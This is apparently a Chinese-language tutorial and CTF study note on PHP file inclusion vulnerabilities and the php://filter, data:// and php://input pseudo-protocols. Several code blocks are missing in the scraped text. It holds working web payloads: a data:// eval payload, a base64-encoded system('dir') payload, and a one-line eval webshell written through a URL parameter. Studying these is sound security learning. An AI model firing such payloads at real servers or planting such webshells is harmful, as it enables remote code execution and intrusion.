文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,它允许攻击者通过控制输入参数,使应用程序包含并执行本地或远程服务器上的任意文件内容。这种漏洞通常出现在 PHP 等动态语言中,当应用程序使用用户输入作为文件路径参数,且未对输入进行严格验证和过滤时,攻击者可以利用这一点,包含恶意文件(如本地配置文件、远程恶意脚本等),从而获取敏感信息、执行任意代码或进一步攻击系统。
基础知识学习
下面是几个示例,是文件包含函数最基础的用法,用来解析文件。
包含服务器文件(远程包含)
需要在phpini
中配置:
allow_url_fopen = On |
访问http://localhost/eclipse_workspace/firstpro/exp.php?sh=http://www.baidu.com
包含本地文件
可以解析php
文件,并将其他类型的文件,其内容当成php
代码解析
被包含文件:
# test.txt |
包含文件:
#exp.php |
绝对路径访问:
?fie=D:\Users\install\test.txt |
file://
协议访问:
?file=file://D:\Users\install\test.txt |
allow_url_include
在_php_ 中,allow_url_include
是一个配置指令,用来控制是否允许使用include
或require
语句,来包含并执行外部文件。allow_url_include
可以在php.ini
文件中设置,或者在运行时通过ini_set()
函数动态设置。以下是两个设置的例子:
//init |
动态执行代码
可以直接执行php代码,如下:
data://text/plain,eval($_POST['sh']); |
绕过一些过滤,将要执行的代码进行base64加密:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTs/Pg== |
结合file_get_contents
利用
file_get_contents()
函数用来读取文件内容,伪协议data://
可以结合该函数利用。
|
file_get_contents()
函数可以直接读取文件内容,传入文件名即可:
#exp.php |
利用data://
伪协议覆盖要读的内容:
|
伪协议
php://filter伪协议
官方介绍:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
使用方法:
php://filter(/read或/write)/过滤器|过滤器/resource=要过滤的数据流 |
filter后面可以套多层目录。过滤器可以设置多个,使用管道符|
分隔,按照从左到右的顺序依次使用相应的过滤器进行过滤处理。
过滤器分类
字符串过滤器:以string开头,常见过滤器有rot13、toupper、tolower、strip_tags等。string.strip_tags自PHP 7.3.0起废弃。
转换过滤器:以convert开头,主要含三类,分别是base64的编码转换,quoted-printable的编码转换,iconv字符编码转换。
base64的编码为base64_encode和base64_decode;
quoted-printable为quoted-printable-encode可打印字符引用编码,解码为quoted-printable-decode但是无该解码过滤器;
在激活 iconv的前提下可以使用
convert.iconv.*
压缩过滤器,等同于用iconv()处理所有的流数据。- .utf-8.utf-7:将utf8编码转换utf7编码
- .utf8.utf16:将utf8编码转换utf16编码
- .SJIS*.UCS-4*
#格式: convert.iconv.<input-encoding>.<output-encoding>
#<input-encoding>和<output-encoding>有以下几种:
#UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE
#UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE*
#UTF-7 UTF7-IMAP UTF-8* ASCII*
echo file_get_contents("php://filter/convert.iconv.UCS-2.UCS-2LE/resource=data://text/plain,abcd");
压缩过滤器:zlib.deflate压缩&zlib.inflate解压、bzip2.compress压缩&bzip.decompress解压
加密过滤器:特别适用于文件或数据流的加密,自PHP7.1.0起废弃。
参考文章:
[php filter伪协议 - Tranquility](https://leekosss.github.io/2023/08/24/php filter伪协议/#convert-iconv)
data://
协议
data://
伪协议是一种特殊的协议,用于在PHP中将数据以流的形式处理。它属于PHP的Stream Wrapper 机制的一部分,允许开发者通过类似文件的方式操作数据,而无需依赖实际的文件系统或外部资源。
作用:该伪协议允许开发者将任意数据作为流来读取或写入。使用前提:allow_url_fopen :on且allow_url_include:on
下面是一个例子,来理解该协议
|
file://
用来读取本地服务器上的文件。
data://
**data://text/plain
**是_PHP_ 中file_get_contents
函数支持的一种特殊协议,用于将字符串作为文件内容来处理。在data://
协议后面,可以指定_MIME_ 类型(在这里是text/plain
),然后是逗号和数据本身。数据可以是任何有效的字符串,它将被当作文件内容来读取。
php5.2.0起,如果传入的数据是PHP代码,就会执行代码。使用方法:
data://text/plain;base64,payload |
下面给出一个例子:
|
data://
结合SSRF
,绕过GET
命令
GET
是一个命令行工具,通常用于从网络上获取资源。它类似于 curl
或 wget
,例如,GET http://example.com
会从 http://example.com
获取内容。
--- ?url=data:text/plain,'<?php @eval($_POST["sh"])?>' |
这样就成功的将木马写入文件中,并使其起作用。
php://input
当请求方式是POST
的,并且**enctpy
不等于multipart/form-data
**时,可以使用php://input
来获取原始请求的数据。如下会将通过POST
方式提交的数据直接赋值给$body
。
$body = file_get_contents('php://input'); //变量body利用php://input伪协议获取post数据 |
file_get_contents()
|
hackbar
直接传入?2333=data://text/plain,today is a happy day&file=flag
即可,如用bp
则参数中的空格要url
编码
本来在网上看php://input
也行的(在enctype
不为multipart/from-data
的前提下),但试了好久,都没成功,发现是传入的POST
内容需要变量名,但是给了变量名又会把**变量名=也带上,而且里面的空格都用+**替代了。看其他师傅的文章中都没出现过这个问题,真的好奇怪😤